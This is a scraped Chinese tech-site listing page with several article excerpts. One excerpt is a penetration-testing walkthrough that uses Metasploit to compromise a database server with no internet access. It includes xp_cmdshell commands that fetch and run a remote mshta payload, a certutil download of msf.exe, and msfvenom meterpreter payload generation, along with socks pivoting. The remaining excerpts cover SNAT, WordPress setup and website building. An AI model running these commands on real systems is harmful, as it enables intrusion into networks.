首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    利用MSF上线断网主机的思路分享

    EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项: 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的,所以在不出网主机上无法访问和执行,最终导致无法上线。 思路拓展: bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多,都要用到MSF虚拟路由,只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事,不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由,再用MSF中的Socks模块开一个Socks代理,设置选项可以不做修改,直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件,在底部填入127.0.0.1和1080端口,然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功? proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件,通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole,配置好handler监听模块bind_tcp相关选项执行监听,在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向:

    03

    零信任 UDP敲门SNAT漏洞解决方案

    SNAT Source Network Address Translation 源网络地址转换,其作用是将ip数据包的源地址转换成另外一个地址,可能有人觉得奇怪,好好的为什么要进行ip地址转换啊,为了弄懂这个问题,我们要看一下局域网用户上公网的原理,假设内网主机A(192.168.2.8)要和外网主机B(61.132.62.131)通信,A向B发出IP数据包,如果没有SNAT对A主机进行源地址转换,A与B主机的通讯会不正常中断,因为当路由器将内网的数据包发到公网IP后,公网IP会给你的私网IP回数据包,这时,公网IP根本就无法知道你的私网IP应该如何走了。所以问它上一级路由器,当然这是肯定的,因为从公网上根本就无法看到私网IP,因此你无法给他通信。为了实现数据包的正确发送及返回,网关必须将A的址转换为一个合法的公网地址,同时为了以后B主机能将数据包发送给A,这个合法的公网地址必须是网关的外网地址,如果是其它公网地址的话,B会把数据包发送到其它网关,而不是A主机所在的网关,A将收不到B发过来的数据包,所以内网主机要上公网就必须要有合法的公网地址,而得到这个地址的方法就是让网关进行SNAT(源地址转换),将内网地址转换成公网址(一般是网关的外部地址),所以大家经常会看到为了让内网用户上公网,我们必须在routeros的firewall中设置snat,俗称IP地址欺骗或伪装(masquerade)。

    04

    简单wordpress博客搭建从零开始全过程简单wordpress博客搭建从零开始全过程

    网上诸如此类的教程很多,我这里算是整理,也算是举个例子,从零开始搭建一个wordpress博客。一切都尽可能的浅显,尽可能让更多的人懂。也说明一些建站方面一定要注意的小细节。 整个从零搭建的过程主要分为两部分(域名部分,主机部分),这两部分可以认为是独立的。 域名部分: 1、  域名申请: 域名事实上很重要,申请时要慎重。一个好的域名可以瞬间让别人记住。申请域名一些有经验的都去GoDadday上去申请,一方面是便宜,另一方面是限制少。像国内大部分域名就不是那么实惠。一方面可能第一年便宜,续费很贵。另一个可能

    03

    做网站要知晓的响应式建站和自助建站之间的区别

    关于建站,许多企业都是在纠结的,以模板建站、响应式建站、自主建站等,下面就跟深圳新万网站建设小编来看看吧,“响应式”、“自助建站”这两个正本不同的个别是怎样样结合的呢?说起响应式,给人榜首形象就是html5网站、H5网站、响应式网站、响应式建站、照应式规划等等的一系列代名词。自助建站那就更好理解了,自助建站可以说是互联网改造的一种技术,帮忙许多不明白程序、不明白代码、不明白规划的小白建站者们完结自建站。那么“响应式”与“自助建站”的调集又会出现什么样的新鲜事呢?响应式与自助建站相结合可以称作为:照应式自助建站系统、H5响应式自助建站系统等。

    01
    领券